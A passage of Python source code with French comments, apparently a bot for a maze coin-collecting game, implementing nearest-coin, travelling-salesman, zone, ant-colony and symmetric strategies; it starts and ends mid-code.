#dictionnaire\n    \n    #initialisation distcoin\n    distcoin[(startingNode,startingNode)] = 0\n    \n    #calcul des valeurs de distcoin\n    #pour chaque pièce\n    for j in range(len(coins)): \n        (matriceDistances, matriceRoutage) = getdistrout(coins[j],meta_graphe)\n        #on calcule la distance à toutes les autres, moins celles que l'on a déjà calculées\n        for i in range(j,len(coins)):\n            #enregistrement des distances\n        \n            dist = matriceDistances[coins[i]]\n            #rappel, les clés de distcoin sont des tuples de pos_to_int\n            distcoin[(coins[i],coins[j])] = dist\n            distcoin[(coins[j],coins[i])] = dist\n        #enregistrement des distances depuis le joueur\n        dist = matriceDistances[startingNode]\n        distcoin[(startingNode, coins[j])] = dist\n        distcoin[(coins[j], startingNode)] = dist\n        #par la même occasion, on initialise appartenanceCoin, cf stratégie paquets\n        appartenanceCoin[ coins[j] ] = -2 \n    #debug(\"initialisation distcoin ok\")\n\ndef update_distcoin(startingNode, ListCoins, startingNodeIsPlayerLocation):\n    \"\"\"mise à jour de distcoin, avec les coordonnées du joueur\"\"\"\n    #si les distances par rapports à startingNode ont déjà été calculées, on ne refait pas le cacul\n    #les calculs ont déjà été refaits s'il existe une combinaison de (posPlayer,posCoin) déjà présente dans distcoin\n    if (startingNode,ListCoins[0]) not in distcoin:\n        #on récup la matrice de distances partant du noeud de départ\n        (matriceDistances, matriceRoutage) = getdistrout(startingNode, meta_graphe)\n        for j in range(len(ListCoins)):\n            #on récupère la distance entre intPos et intOrigin\n            dist = matriceDistances[ListCoins[j]] \n            #on l'ajoute à distcoin\n            distcoin[(startingNode, ListCoins[j])] = dist\n            distcoin[(ListCoins[j], startingNode)] = dist\n\n############################################################### stratégie de recherche de pièces\ndef nearestCoin(matrDist, listOfCoins):\n    \"\"\"renvoie les coordonnées de la pièce la plus proche selon matrDist\"\"\"\n    nearestCoin = listOfCoins[0]\n    distmini = 0\n    #debug(str(len(matrDist)))\n    for coin in listOfCoins:\n        dist = matrDist[coin]\n        if dist < distmini:\n            distmini = dist\n            nearestCoin = coin\n    return nearestCoin\n\ndef chooseNearestCoin(startingNode,coinList):\n    \"\"\"renvoie les coordonées de la poèce la plus proche du joueur\"\"\"\n    ## en réalité, cette fonction ne gère pas la présence de plusieurs pièces étant toutes le splus proches du joeur à la fois. \n   #il faucrait plus gérer ce cas avec comparaisonsolutions\n    if len(coinList) == 1:  #on gère le cas d'une liste à 1 et zero éléments\n        nearcoin=coinList[0]\n        distancemini = distcoin[(startingNode,nearcoin)]\n    elif len(coinList) == 0:\n        return \"Error, empty list \"\n        \n    else:\n        nearcoin=coinList[0]\n        distancemini = float('inf')\n        for coordCoin in coinList: #on récup la distances des pièces et on cherche la plus proche\n            dist = distcoin[(startingNode,coordCoin)]\n            #si la distance que l'on calcule est inférieure à distancemini actuelle\n            if dist < distancemini: \n                #on met à jour distancemini actuel\n                distancemini = dist\n                nearcoin = coordCoin\n    return nearcoin,distancemini\n\n\n#donne les pièces les plus proches \ndef findNearestCoinsProfondeur(coinMaxNumber,coinList, startingNode, coinBlackList = []):\n    \"\"\"renvoie les 'coinMaxNumber' pièces les plus proches de startingNode\"\"\"\n    #le choix se fait dans la coinList\n    liste = []#liste des pièces les plus proches\n    if len(coinList) <= 1:#on règle le cas d'une liste de taille trop petite\n        nearestCoins = coinList\n    else :\n        #on parcourt la liste de pièces.\n        for coin in coinList: \n            # si la pièce ne fait pas parti de la blacklist\n            #on l'ajoute à la liste des pièces\n                \n            if coin not in coinBlackList:\n                #debug(str(len(matriceDistan)) + \"\\n\" + str(pos_to_int(coin)) )\n                #on récupère la distance entre startingNode et la pièce\n                distToCoin = distcoin[(startingNode, coin)]\n                #on ajoute cette pièce à la liste\n                if len(liste) >= coinMaxNumber:#si il y a déja suffisament de pièces dans la liste\n                    #on remplace les nouveaux éléments et on vire les anciens\n                    #le signe moins sert à enlever en DERNIER les pièces les plus proches.\n                    liste.pop()\n                liste = heapAdd(liste, coin, distToCoin )\n        #pn récupère les désignations des pièces.\n        nearestCoins = [a[1] for a in liste ]  \n    return nearestCoins\n\n############################################################### travail sur le voyageur de commerce en pièces\n\n\ndef comparesolution(actualoptimalSolutions, newoptimalSolutions, efficiency = True ):\n    if not efficiency: #seule la distance compte\n        #on cherche un minimum\n        if newoptimalSolutions[0][0] < actualoptimalSolutions[0][0]:\n            actualoptimalSolutions = newoptimalSolutions\n        elif newoptimalSolutions[0][0] == actualoptimalSolutions[0][0]:\n            for solution in newoptimalSolutions:\n                if solution not in actualoptimalSolutions:\n                    actualoptimalSolutions.append( solution )\n    else: #ici on prend en compte le poid attribué à la solution, en nombre de pièce\n        actualEff = float(actualoptimalSolutions[0][2])\n        newEff = float(newoptimalSolutions[0][2])\n        #On cherche un maximum\n        if newEff > actualEff:\n            actualoptimalSolutions = newoptimalSolutions\n        elif newEff == actualEff:\n            for solution in newoptimalSolutions:\n                if solution not in actualoptimalSolutions:\n                    actualoptimalSolutions.append( solution )\n    return actualoptimalSolutions    \n\n\n\ndef choixvoyageur(choix,dist_totale, optimumWay, leftCoins, coinList, startTurn, timeAllowed, profondeur1 = False ):\n    \"\"\"récursive, renvoie le meilleur chemin trouvé pour le moment\"\"\"\n    #1ere condition d'arrêt\n    if (len(choix) == len(coinList)) or (len(choix) >= OPTIMTURNCOINNUMBER + 1) or (time.time() - startTurn > timeAllowed * 0.8 ):\n        if dist_totale > 0:\n            #on crée la nouvelle solution\n            newsolution = [ (dist_totale,choix, (len(choix)-1)/f(dist_totale) ) ]\n            #on compare cette solution aux précédentes solutions\n            optimumWay = comparesolution(optimumWay, newsolution, True )\n        \n    elif dist_totale >= optimumWay[0][0] :\n        #arrêter de chercher dans cette direction\n        #ne rien faire d'autre\n        a = 0\n    else:\n        for indexJ in range( len(leftCoins) ):\n            #mise à jours des variables de parcourt\n            coin= leftCoins[indexJ]\n            dist = dist_totale + distcoin[(choix[-1],coin)]\n            nextchoix = choix + [coin]\n            #mode exploration\n            #on cherche la nouvelle pièce parmis les 12 pièces les plus proches\n            leftCoinsnext = findNearestCoinsProfondeur(OPTISEARCHCOIN, coinList, coin, choix)\n            #on execute choixvoyageur\n            newsolution = choixvoyageur(nextchoix, dist , optimumWay, leftCoinsnext, coinList, startTurn, timeAllowed )\n            #on récupère la meilleur solution\n            optimumWay = comparesolution(optimumWay, newsolution, True )\n\n    return optimumWay #renvoie les plus courts chemins\n\n\n\ndef voyageurcommerce(nombrePlacesAVisiter,startingNode, coinList, turnTime, timeAllowed, startingNodeIsPlayerLocation = True):\n    global distcoin\n    #initialisation de la solution, définie par ces 3variables\n    longueurmini = float('inf')\n    meilleurchemin = []\n    poid = 0\n    inisolution = [(longueurmini, meilleurchemin, poid)]\n    #on vérifie qu'il reste assez de place pour executer le voyageur de commerce\n    \n    #on met à jour distcoin avec les coordonnées du joueur\n    update_distcoin(startingNode, coinList, startingNodeIsPlayerLocation)    \n    \n    #pièces à étudier\n    #ici ce sont les 'OPTISEARCHCOIN' pièces les plus proches du joueur\n    interestingCoins = findNearestCoinsProfondeur(OPTISEARCHCOIN, coinList, startingNode)\n\n    #calcul du chemin optimal sur nombrePlacesAVisiter pièces à prendre\n    solutions = choixvoyageur([startingNode],0, inisolution , interestingCoins, coinList, turnTime, timeAllowed, True)\n    \n    #choix de la solution (si il y en a plusieurs)\n    (distancetotale, ordrevoyage, poidsolution) = solutions[0]\n    \n    #on rajoute à aimedCoins les différentes  adresses des pièces présentes sur le graphe\n    global aimedCoins\n    aimedCoins = [j for j in ordrevoyage if j != startingNode]\n    #debug(str(aimedCoins) + \"\\n\")\n    #debug( \"next aimed coins = \" +str(aimedCoins)+ \"\\n\")\n\n##VCP anciennement nananaBatman\ndef init_VCP(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, coins, startTurn):\n    #debug(\"time needed to initiate : \" + str((time.time() - startTurn)*1000)+ \"ms\")\n    #debug(\"time needed to calculate : \" + str((time.time() - startTurn)*1000)+ \"ms\")\n    #on fait rien de spécial plus\n    #car init_voyageurcommerce est déjà exécuté\n    return\n    \ndef nextmove_VCP(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, listOfCoins, turnTime, reworkPath, playerCoin):\n    \n    global aimedCoins\n    global directionList\n    if reworkPath:\n        directionList = []\n        initialTime = time.time()\n        aimedCoins = []\n        strat_VCP(playerLocation,listOfCoins, turnTime, timeAllowed, playerCoin)\n        #debug(\"time needed to calculate : \" + str((time.time() - initialTime)*1000)+ \"ms\")\n        debug(\"end of recalc after \"+ str((time.time() - turnTime)*1000)+ \"ms\\naimedCoins = \"+str(aimedCoins) + \"\\n\")\n    \n\ndef strat_VCP(playerLocation,listOfCoins, turnTime, timeAllowed, playerCoin = []):\n    voyageurcommerce(OPTIMTURNCOINNUMBER, playerLocation, listOfCoins, turnTime, timeAllowed)\n\ndef glouton_coins(orderCoins, cumulatedDist, startingNode, coinChoice):\n    if coinChoice == []:\n        orderOfCoins = orderCoins\n    else :\n        nextCoin, dist = chooseNearestCoin(startingNode,coinChoice)\n        orderCoins += [nextCoin]\n        cumulatedDist += dist\n        coinChoice.remove(nextCoin)\n        orderOfCoins, cumulatedDist = glouton_coins(orderCoins, cumulatedDist, startingNode, coinChoice)\n    return orderOfCoins, cumulatedDist\n        \n############################################################### stratégie zones\n                        \ndef choose_mindistance_way(startingNode, listOfCoins, opponentNode, interruption = False):\n    #optimisation sur le nombre de dijkstra à réaliser. utilisation de paquets fort probable\n    eloignementCoin = []\n    oeloignementCoin = []\n    bestsolutions = [( float('inf'), 0, -float('inf') )]\n    for j in range(len(listOfCoins)): #choix de la destination\n        eloignementCoin.append(0)\n        oeloignementCoin.append(0)\n        aimCoin = listOfCoins[j]\n        matrdistZone, matrroutZone = getdistrout(startingNode, zone_graphe, True)\n        ppath = pathTracer(aimCoin, startingNode, matrroutZone)\n\n        if not opponentNode == (-1,-1):\n            omatrdistZone, omatrroutZone = getdistrout(opponentNode, zone_graphe, True)#true car opponent not in zone_graphe\n            opath = pathTracer(aimCoin, opponentNode, omatrroutZone)\n        \n        \n        #nouvelle liste de pièce pour calculer la distance à toute les pièces après s'être déplacé.\n\n        #faire de même avec l'ennemi        \n        \n        #calcul dist à toute les pièces\n        for k in range(len(listOfCoins)):\n            #préparation de l'implémentation paquet\n            if listOfCoins[k] not in ppath: #(ET paquet non vide)\n                distCoin = matrdistZone[listOfCoins[k]]\n                eloign = distCoin #calcul de la distance\n                eloignementCoin[j] +=  eloign ** 2\n            if not opponentNode == (-1,-1):\n                if listOfCoins[k] not in opath: #(ET paquet non vide)\n                    odistCoin = omatrdistZone[listOfCoins[k]]\n                    oeloign = odistCoin #calcul de la distance\n                    oeloignementCoin[j] +=  oeloign ** 2\n        if not opponentNode == (-1,-1):\n            #on cherche un poid maximum\n            newsolution = [( eloignementCoin[j], listOfCoins[j], (eloignementCoin[j]-oeloignementCoin[j])/f(eloignementCoin[j],4) )]\n            bestsolutions = comparesolution(bestsolutions, newsolution, True ) #false avec piece, true avec paquets\n        else : \n            #on cherche un éloignemenCoin minimum\n            newsolution = [( eloignementCoin[j],listOfCoins[j])]\n            bestsolutions = comparesolution(bestsolutions, newsolution, False ) #false avec piece, true avec paquets\n    return bestsolutions\n            \n\ndef strategie_zone(playerLoc, opponentLoc, listOfCoins):\n    \n    choix = choose_mindistance_way(playerLoc, listOfCoins, opponentLoc)\n    nextcoin = choix[0][1]\n    return [nextcoin]\n\ndef init_ZON(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, coins,startTurn) :\n    \n    global zone_graphe\n    zone_graphe = init_graphe_zone(meta_graphe)\n    strat_ZON(playerLocation, coins, opponentLocation)\n    #debug(\"time needed for initializationCode : \" + str((time.time() - startTurn)*1000)+ \"ms\")\n    \n\ndef nextmove_ZON(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, listOfCoins,turnTime, reworkPath, playerCoin) :\n    global directionList\n    if reworkPath:\n        directionList = []\n        strat_ZON(playerLocation, listOfCoins, opponentLocation)\n    \n    \ndef strat_ZON(playerLocation,listOfCoins, opponentLocation):\n    strategie_zone(playerLocation, opponentLocation, listOfCoins)\n    \n        \n        \n############################################################### stratégie fourmis\n\ndef update_phero_dist(listOfCoins):\n    #update the player distance to coins\n    for coin in listOfCoins:\n        pheromones[\"p\"][coin][0] = playerMatriceDistances[coin]\n\ndef evaporationphero():\n    global nbrEvap\n    global pheromones\n    nbrEvap += 1\n    for pos in pheromones.keys():\n        for pos2 in pheromones[pos].keys():\n            if pos != pos2:\n                pheromones[pos][pos2][1] *= ANTEVAP \n            \ndef integrate(infos, isNotPlayer=0):\n    efficacity = 0\n    lenghtpath = sum(infos[1])\n    #nombreVilles = len(infos[2])\n    for j, length in enumerate(infos[1]):\n        efficacity +=  (j) * infos[1][j] / (lenghtpath)\n    return efficacity\n\ndef get_efficiency(cheminInfo, tailleCheminGlouton):\n    path, taillechemin, villes = cheminInfo[0], cheminInfo[1], cheminInfo[2]\n    lenghtpath = min( sum(taillechemin), tailleCheminGlouton)\n    \n    #nombreVilles = len(villes)\n    efficacity = 0\n    lengthway = 0\n    for j in range(len(taillechemin)):\n        lengthway += taillechemin[j]\n        if lengthway <= tailleCheminGlouton:\n            efficacity +=  (j) * taillechemin[j] / (lenghtpath)\n        else:\n            difference = lengthway - tailleCheminGlouton\n            efficacity +=  (j) * (taillechemin[j]-difference) / (lenghtpath)\n            break\n    if lengthway < tailleCheminGlouton:\n        difference = tailleCheminGlouton - lengthway\n        efficacity +=  (j) * (taillechemin[j] + difference) / (lenghtpath)\n        \n    return efficacity\n\n\ndef show_efficient_graph():\n    # import\n    try:\n        import matplotlib.pyplot as plt\n    except:\n        debug (\"Matplotlib not found\")\n        return\n    \n    debug(\"loading graphs\")\n    resultsSinceBegining[0].pop(0)\n    resultsSinceBegining[1].pop(0)\n    \n    plt.figure(0)\n    plt.clf()\n    for j in range(1,len(resultsSinceBegining[0])):\n        t = [j-1, j, j]\n        plt.plot( t, [resultsSinceBegining[0][a] for a in t ], 'b.-')\n    for j in range(1,len(resultsSinceBegining[1])):\n        t = [j-1, j, j]\n        plt.plot( t, [resultsSinceBegining[1][a] for a in t ], 'r.-')\n    plt.show()\n\n\ndef deposephero(cheminInfo, resultGlouton, oresultGlouton, tailleCheminGlouton):\n    global pheromones\n    global ant_pheromones_ways\n    global efficiencyMax\n    \n    path, taillechemin, villes = cheminInfo[0], cheminInfo[1], cheminInfo[2]  \n    nombreVilles = len(villes)\n    weightpath = sum( [ f(j,ANT_POW_PATH) for j in taillechemin ] )\n    \n    efficiency = get_efficiency(cheminInfo, tailleCheminGlouton)\n    \n    #calcul de la quantitée de phéromone à déposer sur le chemin\n    #ANT_PUT_PHERO_MULT = (nombreVilles * f(5,ANT_POW_PATH) )\n    ANT_PUT_PHERO_MULT = 30000\n    #pheromon = f( ANT_PUT_PHERO_MULT/weightpath, ANT_POW_PUT_PHERO) \n    #pheromon = (efficacity**2 /(resultGlouton * oresultGlouton) )**ANT_EFFICACITY *ANT_PUT_PHERO_MULT/f(weightpath,ANT_POW_PUT_PHERO)\n    if resultGlouton == 0:\n        a = efficiency\n    else:\n        a = efficiency / resultGlouton\n    b = ANT_PUT_PHERO_MULT/f(weightpath,ANT_POW_PUT_PHERO) \n    pheromon = f(a, ANT_EFFICACITY) * ANT_PUT_PHERO_MULT/f(weightpath,ANT_POW_PUT_PHERO) \n    #pheromon = f(efficiency / resultGlouton, ANT_EFFICACITY) *f( ANT_PUT_PHERO_MULT/weightpath, ANT_POW_PUT_PHERO) \n    #pheromon = f(efficacity / resultGlouton, ANT_EFFICACITY)\n    #pheromon = (efficacity - resultGlouton)/resultGlouton\n\n    if efficiency > efficiencyMax[0]:\n        efficiencyMax = [efficiency, path ]\n    \n    #if efficiency >= resultGlouton:        \n    if 1:\n        #si le glouton est meilleur, ne pas ajouter de phéromones\n        ant_pheromones_ways.append(pheromon)\n        #ancien test\n        if path[0] not in villes:\n            indexstart = 2\n        else: \n            indexstart = 1\n        \n        #on les ajoute sur tout le chemin\n        for j in range(indexstart,len(path)):\n            firstNode = path[j - 1]\n            secondNode = path[j]\n            #on ajoute les pheromones sur le tronçon considéré\n            pheromones[firstNode][secondNode][1] += pheromon\n    return efficiency\n\n\ndef choosepheropath(listOfCoins, cheminrestant, startingNode, startInPreviousCoins, mode):\n    global pheromones\n    taillechemin = []\n    chemin = [startingNode]\n    #chemin aller\n    if startInPreviousCoins:\n        prochainNoeud = startingNode\n    else:\n        prochainNoeud = \"p\"\n    \n    #we need at least one element in the list\n    boolean = 1\n    \n    while (len(cheminrestant) != 0) and boolean:\n        #on change de noeud actuel\n        noeudActuel = prochainNoeud\n        tempList = [ pheromones[noeudActuel][coin][1]/f(pheromones[noeudActuel][coin][0],ANT_POW_VISIBILITY) for coin in cheminrestant ]\n        if mode == 4:\n            try:\n                temp = [ pheromones[noeudActuel][coin][1]/f(pheromones[noeudActuel][coin][0],ANT_POW_VISIBILITY) for coin in cheminrestant if pheromones[noeudActuel][coin][0] <= pheromones[noeudActuel][aimedCoins[0]][0] ]\n            except:\n                debug(\"error of coin\")\n                debug( \"aimedcoin in list == \" + str(aimedCoins[0] in pheromones[noeudActuel].keys() ) )\n                debug(\"aimed coin is starting node == \" + str(aimedCoins[0] == startingNode) )\n                debug(\"aimed coin is player loc == \" + str(aimedCoins[0] == playerLocation) )\n                debug(\"coin in previousCoins = \" + str(aimedCoins[0] in  previousCoins))\n                debug( str(pheromones[ noeudActuel ][ aimedCoins[0] ] ) )\n                raise\n            if len(temp) != 0:\n                tempList = temp\n            mode = 0\n            \n        if len(tempList) == 0:\n            debug('no nodes in list')\n            \n        if mode == 0:\n            #on choisit la prochaine ville à visiter\n            hasard = random.random()\n            #en fonction des phéromones présentes\n            pheromonTotal = sum(tempList) #initialisation de pheromonTotal\n            #si il ne reste plus de phéromones, on choisit la pièce la plus proche\n            if pheromonTotal == 0:\n                debug('no pheromones found')\n                debug(str(tempList))\n                tempList = [ -pheromones[noeudActuel][ cheminrestant[w] ][0] for w in range(len(cheminrestant)) ]\n                count = indexOfMax(tempList )\n            else:\n                #pondération du hasard\n                count = 0\n                proba = 0\n                while proba <= hasard: #on regarde à quel segment appartient hasard\n                        proba += tempList[count]/pheromonTotal\n                        if proba<= hasard:\n                            count +=1\n        elif mode == 1 : \n            #debug(\"noeudActuel = \" + str(noeudActuel) + \"\\ncheminrestant = \" + str(cheminrestant) )\n            #debug(\"tempList = \" + str(tempList) )\n            count = indexOfMax(tempList )\n        elif mode == 2 or mode == 3:\n            #mode glouton pour évaluer un chemin\n            tempList = [ -pheromones[noeudActuel][ cheminrestant[w] ][0] for w in range(len(cheminrestant)) ]\n            count = indexOfMax(tempList )\n            \n        #la ville est choisie,d'index 'count'\n        #on ajoute cette nouvelle ville au trajet\n        prochainNoeud = cheminrestant[count]\n        cheminrestant.pop(count)\n        chemin += [prochainNoeud]\n        #on récupère la distance entre la prochaine ville à visiter et la vile actuelle\n        taillechemin.append(pheromones[noeudActuel][prochainNoeud][0])\n    \n        if mode == 2 or mode == 0 or mode == 4:\n            boolean = ( (score[0] + len(chemin) - 1 ) <= VICTORY_CONDITION) or (len(chemin) <=1)\n        elif mode == 3:\n            boolean = ( (score[1] + len(chemin) - 1 ) <= VICTORY_CONDITION) or (len(chemin) <=1)\n    \n    return chemin, taillechemin\n\n\ndef parcoursUneFourmis(listOfCoins, startingNode, startInPreviousCoins, mode = 0 ):\n    #si le depart fut une case avec une pièce\n    global ant_phero\n    \n    cheminrestant = [ coin for coin in listOfCoins]\n    \n    #chemin aller\n    chemin , taillechemin = choosepheropath(listOfCoins, cheminrestant, startingNode, startInPreviousCoins, mode)    \n    \n    #chemin retour\n    if mode == 0:\n        ant_phero.append((chemin, taillechemin, listOfCoins))\n    elif mode == 1:\n        pglouton = parcoursUneFourmis(listOfCoins, startingNode, startInPreviousCoins, 2)\n        resultGlouton = integrate(pglouton, 0)\n        gchemin, gtaillechemin, glistOfCoins = pglouton[0], pglouton[1], pglouton[2]\n        efficiency = get_efficiency( (chemin , taillechemin, listOfCoins), sum(gtaillechemin) )\n        \n        if efficiency < resultGlouton and resultGlouton > efficiencyMax[0]:\n            debug(\"stratglouton avec efficacité de \" + str(resultGlouton) + \"par rapport a \" + str(efficiency))\n            ant_phero.append((gchemin, gtaillechemin, glistOfCoins))\n            return gchemin\n        else:\n            ant_phero.append((chemin, taillechemin, listOfCoins))\n            return efficiencyMax[1]\n        #sinon on retourne le chemin normal\n        \n    elif mode == 2:\n        ant_phero.append((chemin, taillechemin, listOfCoins))\n        return chemin, taillechemin, listOfCoins\n    elif mode == 3:\n        return chemin, taillechemin, listOfCoins\n    #debug(\"trajet de la fourmis = \" + str(chemin) )\n    return chemin\n        \n           \ndef fourmis(timeAllowed, playerLocation, opponentLoc, listOfCoins, startingTime, playerCoin, opponentCoin) :\n    global pheromones\n    global ant_phero\n    global ant_pheromones_ways\n    global lastNumberOfAntsSent\n    startingNode = playerLocation\n    playerInCoins = startingNode in previousCoins\n    numberOfAnts = 0\n    aimedCoinsPasVide = (len(aimedCoins) != 0)\n\n    if playerInCoins:\n        for coin in listOfCoins:\n            pheromones[\"p\"][coin][1] = ANT_START_PHERO\n    \n    pglouton = parcoursUneFourmis(listOfCoins, startingNode, playerInCoins, 2)\n    oglouton = parcoursUneFourmis(listOfCoins, opponentLoc, playerInCoins, 3)\n    \n    resultGlouton = integrate(pglouton, 0)\n    oresultGlouton = integrate(oglouton, 1)\n    \n    #on lance autant de fourmis qu'on peut\n    while time.time() - startingTime < timeAllowed*0.93:\n        numberOfAnts += 1\n        if numberOfAnts >= ANT_MUTANT*lastNumberOfAntsSent and aimedCoinsPasVide:\n            parcoursUneFourmis(listOfCoins, startingNode, playerInCoins, 4)\n        else:\n            parcoursUneFourmis(listOfCoins, startingNode, playerInCoins, 0)\n        if numberOfAnts%50 == 0:\n            while ant_phero != []:\n                update = ant_phero.pop(0)\n                deposephero(update, resultGlouton, oresultGlouton, sum(pglouton[1]) )\n            evaporationphero()\n\n    while ant_phero != []:\n        update = ant_phero.pop(0)\n        deposephero(update, resultGlouton, oresultGlouton, sum(pglouton[1]) )\n    evaporationphero()\n    #debug(\"phero moyenne = \" + str( sum(ant_pheromones_ways)/len(ant_pheromones_ways)))\n    #debug(str(len(listOfCoins)) + \" phero max = \" + str( max(ant_pheromones_ways)) )\n    #debug(\"phero max = \" + str( max(ant_pheromones_ways)) + \" time needed = \" + str((time.time() - startingTime)*1000)+ \"ms\")\n    #k = indexOfMax(ant_pheromones_ways)\n    #secondMax = max(trou(ant_pheromones_ways, k))\n    #debug(\"phero convergence = \" + str(secondMax/ant_pheromones_ways[k]))\n    #debug(str(len(listOfCoins)) + \" phero impact = \" + str( max(ant_pheromones_ways)/(ANT_START_PHERO * f(ANTEVAP, nbrEvap)) ) )\n    #debug(str(len(listOfCoins)) + \" phero impact = \" + str( sum(ant_pheromones_ways)/(ANT_START_PHERO * f(ANTEVAP, nbrEvap)) ) )\n    #debug(str(len(listOfCoins)) + \" phero max = \" + str( max(ant_pheromones_ways)) + \"phero moyenne = \" + str( sum(ant_pheromones_ways)/len(ant_pheromones_ways)))\n    ant_pheromones_ways = []\n    lastNumberOfAntsSent = numberOfAnts\n    debug(\"number of ants sent = \" + str(numberOfAnts) )\n\n\n\ndef init_ANT(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, listOfCoins,startTurn) :\n    \n    global pheromones\n    pheromones = { node:{nextNode : [distcoin[(node,nextNode)], ANT_START_PHERO] for nextNode in listOfCoins if nextNode != node} for node in listOfCoins}\n    pheromones[\"p\"] = {nextNode : [distcoin[(playerLocation,nextNode)], ANT_START_PHERO] for nextNode in listOfCoins}\n    playerCoin = nearestCoin(playerMatriceDistances, coins)\n    if not opponentLocation == (-1,-1):\n        opponentCoin = nearestCoin(opponentMatriceDistances, coins)\n        \n    strat_ANT(timeAllowed, playerLocation, opponentLocation, listOfCoins, startTurn, playerCoin, opponentCoin)\n    \n    \n    \ndef nextmove_ANT(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, listOfCoins,turnTime, reworkPath, playerCoin, opponentCoin) :\n    \n    global aimedCoins\n    global directionList\n    global efficiencyMax\n    \n    if reworkPath:\n        directionList = []\n        efficiencyMax = [0, []]\n            #debug(\"aim remains \" + str(aimedCoins))\n        #debug(\"rework ants\")\n    strat_ANT(timeAllowed, playerLocation, opponentLocation, listOfCoins, turnTime, playerCoin, opponentCoin)\n    \ndef strat_ANT(timeAllowed, playerLocation, opponentLocation, listOfCoins, turnTime, playerCoin, opponentCoin) :\n    #on lance les fourmis lalala\n    global aimedCoins\n    global playerMatriceDistances\n    \n    playerInCoins = playerLocation in previousCoins\n    \n    update_phero_dist(listOfCoins)\n    fourmis(timeAllowed, playerLocation, opponentLocation, listOfCoins, turnTime, playerCoin, opponentCoin)\n    cheminmax = parcoursUneFourmis(listOfCoins, playerLocation, playerInCoins, 1)\n    #debug(str(tableChoix))\n    #choix du chemin, parcours d'une fourmi cherchant les arêtes maxi\n    while playerLocation in cheminmax:\n        cheminmax.remove(playerLocation)\n        #debug('repetition')\n    if numberOfTurnSinceLastChangeOfDirection >= MIN_NUMBER_OF_TURNS_BETWEEN_TWO_CHANGES_OF_DECISIONS:\n        aimedCoins = [j for j in cheminmax]\n        numberOfTurnSinceLastChangeOfDirection\n    \n    #debug(\"strat decided \" + str(aimedCoins))\n############################################################### strategie glouton\n\ndef init_GLU(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, coins,startTurn) :\n    #do nothing\n    return\n\ndef nextmove_GLU(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, listOfCoins,turnTime, reworkPath, playerCoin, opponentCoin) :\n    \n    global directionList\n    \n    if reworkPath:\n        directionList = []\n        strat_GLU(playerLocation, listOfCoins, playerCoin)\n    \ndef strat_GLU(playerLoc, listOfCoins, playerCoin):\n    \n    global aimedCoins\n    if playerCoin in listOfCoins:\n        nextAim = playerCoin\n    else:\n        update_distcoin(playerLoc, listOfCoins, True)\n        nextAim, dist = chooseNearestCoin(playerLoc, listOfCoins)\n    aimedCoins = [nextAim]\n    \n        \n\n############################################################### symetric strategy\n\ndef update_score(playerLocation, opponentLocation, coinList):\n    global previousCoins\n    global score\n    global resultsSinceBegining\n    playerGotCoinAlone = False\n    \n    if playerLocation == opponentLocation:\n        if playerLocation in previousCoins:\n            score[0]+=0.5\n            score[1]+=0.5\n            efficiencyMax[0] -= 1\n            resultsSinceBegining[0].append(0.5 + resultsSinceBegining[0][-1] )\n            resultsSinceBegining[1].append(0.5 + resultsSinceBegining[1][-1] )\n        else:\n            resultsSinceBegining[0].append(0 + resultsSinceBegining[0][-1] )\n            resultsSinceBegining[1].append(0 + resultsSinceBegining[1][-1] )\n            \n    else:\n        if playerLocation in previousCoins:\n            score[0]+=1\n            efficiencyMax[0] -= 1\n            resultsSinceBegining[0].append(1+ resultsSinceBegining[0][-1] )\n            playerGotCoinAlone = False\n        else:\n            resultsSinceBegining[0].append(0+ resultsSinceBegining[0][-1] )\n            \n        if opponentLocation in previousCoins:\n            score[1] += 1\n            resultsSinceBegining[1].append(1 + resultsSinceBegining[1][-1] )\n        else:\n            resultsSinceBegining[1].append(0 + resultsSinceBegining[1][-1] )\n    previousCoins = copy.deepcopy(coinList)\n    return playerGotCoinAlone\n    \n\ndef cutHalf(integer):\n    return (integer - 1)/2\n\ndef getSymetric(mazeWidth, mazeHeight, position):\n    middle = (cutHalf(mazeWidth), cutHalf(mazeHeight))\n    symetric = (int(2*middle[0]-position[0]), int(2*middle[1] - position[1]) )\n    return symetric\n    \ndef init_SYM(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, listOfCoins, startTurn) :\n    init_ANT(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, listOfCoins, startTurn)\n    \n\ndef nextmove_SYM(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, listOfCoins,turnTime, reworkPath, playerCoin) :\n    \n    opponentSymetric = getSymetric(mazeWidth, mazeHeight, opponentLocation)\n    osDist, osRout = getdistrout(opponentSymetric, meta_graphe)\n    middle = (int(cutHalf(mazeWidth)), int(cutHalf(mazeHeight)))\n    mDist, mRout = getdistrout(middle, meta_graphe)\n    coinList = [[],[],[],[]]\n    dist1pmini = float('inf')\n    dist1nmini = -float('inf')\n    dist1pcoin = []\n    dist1ncoin = []\n    for coin in listOfCoins:\n        dist1 = opponentMatriceDistances[coin] - osDist[coin]\n        if dist1 < dist1pmini and 0 < dist1:\n            dist1pmini = dist1\n            dist1pcoin = coin\n        if dist1 > dist1nmini  and dist1 < 0:\n            dist1nmini = dist1\n            dist1ncoin = coin\n        \n        dist2 = opponentMatriceDistances[coin] - mDist[coin]\n        cointuple = (coin, dist1, dist2)\n        if dist1 >= 0 and dist2 >= 0 :\n            coinList[3].append(cointuple)\n        elif dist1 >= 0 and dist2 < 0:\n            coinList[2].append(cointuple)\n        elif dist1 < 0 and dist2 >= 0:\n            coinList[1].append(cointuple)\n        elif dist1 < 0 and dist2 < 0:\n            coinList[0].append(cointuple)\n    \n    dist1 = opponentMatriceDistances[playerLocation] - osDist[playerLocation]\n    dist2 = opponentMatriceDistances[playerLocation] - mDist[playerLocation]\n    if dist1 >= 0 and dist2 >= 0 :\n        playerPos = 3\n    elif dist1 >= 0 and dist2 < 0:\n        playerPos = 2\n    elif dist1 < 0 and dist2 >= 0:\n        playerPos = 1\n    elif dist1 < 0 and dist2 < 0:\n        playerPos = 